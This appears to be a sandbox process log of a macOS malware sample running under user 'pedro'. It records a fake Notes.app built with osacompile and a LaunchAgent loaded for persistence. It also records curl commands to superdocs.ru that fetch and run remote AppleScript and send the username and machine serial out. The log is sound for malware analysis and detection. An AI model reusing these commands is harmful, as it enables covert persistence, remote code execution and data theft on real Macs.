                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/Containers
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Containers/com.apple.photolibraryd/Notes.app
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Containers/com.apple.photolibraryd/Containers
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/touch
                                      Arguments:touch /test.tmp
                                      File size:134496 bytes
                                      MD5 hash:63d1087742d412edbc4f41c9e90067d2

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/LaunchAgents/com.apple.airplay.plist
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/LaunchAgents/com.apple.airplay.plist
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/LaunchAgents/com.google.keystore.plist
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/LaunchAgents/com.google.keystore.plist
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/LaunchAgents/com.google.chrome.plist
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/LaunchAgents/com.google.chrome.plist
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/mkdir
                                      Arguments:mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mail
                                      File size:134128 bytes
                                      MD5 hash:1a411936bac2c64c06674cbcfcdd66f8

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/osacompile
                                      Arguments:osacompile -x -e trydo shell script 'osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt''end try -o /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app
                                      File size:190176 bytes
                                      MD5 hash:84bbdc98ac7aa38fcbb281f019bb391d

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/codesign
                                      Arguments:n/a
                                      File size:374000 bytes
                                      MD5 hash:333e942b520d108598e02aa116a47fba

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/touch
                                      Arguments:touch /test2.tmp
                                      File size:134496 bytes
                                      MD5 hash:63d1087742d412edbc4f41c9e90067d2

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/touch
                                      Arguments:touch /test3.tmp
                                      File size:134496 bytes
                                      MD5 hash:63d1087742d412edbc4f41c9e90067d2

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/plutil
                                      Arguments:plutil -replace LSUIElement -bool YES /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Info.plist
                                      File size:270832 bytes
                                      MD5 hash:11427a2425049a93a60e85d61c9c0081

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -f /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icns
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/cp
                                      Arguments:cp -f /System/Applications/Notes.app/Contents/Resources/AppIcon.icns /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/applet.icns
                                      File size:152672 bytes
                                      MD5 hash:c6968d65936952ad8b175271cbbc8708

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/dirname
                                      Arguments:dirname /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
                                      File size:150192 bytes
                                      MD5 hash:206cca615592f99874d8cb4cd1641f07

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/mkdir
                                      Arguments:mkdir -p /Users/pedro/Library/LaunchAgents
                                      File size:134128 bytes
                                      MD5 hash:1a411936bac2c64c06674cbcfcdd66f8

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/dirname
                                      Arguments:dirname /Users/pedro/Library/Caches/GitServices/AppleWebKit
                                      File size:150192 bytes
                                      MD5 hash:206cca615592f99874d8cb4cd1641f07

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/mkdir
                                      Arguments:mkdir -p /Users/pedro/Library/Caches/GitServices
                                      File size:134128 bytes
                                      MD5 hash:1a411936bac2c64c06674cbcfcdd66f8

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/cat
                                      Arguments:cat
                                      File size:151792 bytes
                                      MD5 hash:c5d124a467bf29f668fd9bac3a9856ab

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/chmod
                                      Arguments:chmod +x /Users/pedro/Library/Caches/GitServices/AppleWebKit
                                      File size:136960 bytes
                                      MD5 hash:8339fe4afa333001c03a7b21f7ad0e9c

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/cat
                                      Arguments:cat
                                      File size:151792 bytes
                                      MD5 hash:c5d124a467bf29f668fd9bac3a9856ab

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/launchctl
                                      Arguments:launchctl unload -w /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
                                      File size:360752 bytes
                                      MD5 hash:240cdf175cab143785114a58688a4d0a

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/touch
                                      Arguments:touch /test4.tmp
                                      File size:134496 bytes
                                      MD5 hash:63d1087742d412edbc4f41c9e90067d2

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/launchctl
                                      Arguments:launchctl load -w /Users/pedro/Library/LaunchAgents/com.apple.spx.plist
                                      File size:360752 bytes
                                      MD5 hash:240cdf175cab143785114a58688a4d0a

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/usr/bin/dirname
                                      Arguments:dirname /Users/pedro/Library/Caches/GitServices/.report
                                      File size:150192 bytes
                                      MD5 hash:206cca615592f99874d8cb4cd1641f07

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/usr/bin/touch
                                      Arguments:touch /test5.tmp
                                      File size:134496 bytes
                                      MD5 hash:63d1087742d412edbc4f41c9e90067d2

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/usr/bin/touch
                                      Arguments:touch /test6.tmp
                                      File size:134496 bytes
                                      MD5 hash:63d1087742d412edbc4f41c9e90067d2

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/usr/libexec/xpcproxy
                                      Arguments:n/a
                                      File size:210240 bytes
                                      MD5 hash:75c2cf3350c6882f23b4a275a9f9f4cb

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:bash /Users/pedro/Library/Caches/GitServices/AppleWebKit
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet
                                      Arguments:/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/MacOS/applet
                                      File size:134016 bytes
                                      MD5 hash:1535756d106d32fe31c1959e19e6582d

                                      Chronological Activities

                                      General

                                      Start time:11:18:41
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/usr/bin/osascript
                                      Arguments:osascript /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/a.scpt
                                      File size:208544 bytes
                                      MD5 hash:d86dbe94a4b95a8d18c37e43b7d6b6a4

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c ping -o -t 3 superdocs.ru
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/sbin/ping
                                      Arguments:ping -o -t 3 superdocs.ru
                                      File size:202944 bytes
                                      MD5 hash:e7f06272a612949c2e552aa2556fb798

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c rm -rf '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c mkdir -p '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/mkdir
                                      Arguments:mkdir -p /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers
                                      File size:134128 bytes
                                      MD5 hash:1a411936bac2c64c06674cbcfcdd66f8

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c whoami
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/usr/bin/whoami
                                      Arguments:whoami
                                      File size:151184 bytes
                                      MD5 hash:3c1b6e2e567df857130cd73ff38d3df7

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c curl -sk -d 'user=pedro&build_vendor=default&build_version=1.1.5' https://superdocs.ru/apple/com.php | osacompile -x -o '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/usr/bin/curl
                                      Arguments:curl -sk -d user=pedro&build_vendor=default&build_version=1.1.5 https://superdocs.ru/apple/com.php
                                      File size:519040 bytes
                                      MD5 hash:f26856a56418cdf4551b4bdd7be78831

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:42
                                      Start date:24/08/2022
                                      Path:/usr/bin/osacompile
                                      Arguments:osacompile -x -o /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a
                                      File size:190176 bytes
                                      MD5 hash:84bbdc98ac7aa38fcbb281f019bb391d

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c osascript '/Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a' > /dev/null 2>&1
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/usr/bin/osascript
                                      Arguments:osascript /Users/pedro/Library/Group Containers/group.com.apple.mail/Notes.app/Contents/Resources/Scripts/Containers/a
                                      File size:208544 bytes
                                      MD5 hash:d86dbe94a4b95a8d18c37e43b7d6b6a4

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c whoami
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/usr/bin/whoami
                                      Arguments:whoami
                                      File size:151184 bytes
                                      MD5 hash:3c1b6e2e567df857130cd73ff38d3df7

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c ping -o -t 3 superdocs.ru
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/sbin/ping
                                      Arguments:ping -o -t 3 superdocs.ru
                                      File size:202944 bytes
                                      MD5 hash:e7f06272a612949c2e552aa2556fb798

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c ioreg -c IOPlatformExpertDevice -d 2 | awk -F\' '/IOPlatformSerialNumber/{print $(NF-1)}'
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/usr/sbin/ioreg
                                      Arguments:ioreg -c IOPlatformExpertDevice -d 2
                                      File size:189696 bytes
                                      MD5 hash:d03e2df1848ceb731ba4a8c3e82b2011

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/usr/bin/awk
                                      Arguments:awk -F' /IOPlatformSerialNumber/{print $(NF-1)}
                                      File size:334944 bytes
                                      MD5 hash:231a9b1c4634f8b7b53d29c9c47ee4df

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/sh
                                      Arguments:n/a
                                      File size:150384 bytes
                                      MD5 hash:047b5ec8689a426fcee2b1ab7ac7b264

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:sh -c curl -k -s --connect-timeout 14 -d 'module launched. connRetries: 0. Used domain: superdocs.ru' -H 'X-Id: C07GV0KZPJH8' -H 'X-Users: pedro' -H 'X-Mod: bootstrap' https://superdocs.ru/l
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:43
                                      Start date:24/08/2022
                                      Path:/usr/bin/curl
                                      Arguments:curl -k -s --connect-timeout 14 -d module launched. connRetries: 0. Used domain: superdocs.ru -H X-Id: C07GV0KZPJH8 -H X-Users: pedro -H X-Mod: bootstrap https://superdocs.ru/l
                                      File size:519040 bytes
                                      MD5 hash:f26856a56418cdf4551b4bdd7be78831

                                      Chronological Activities

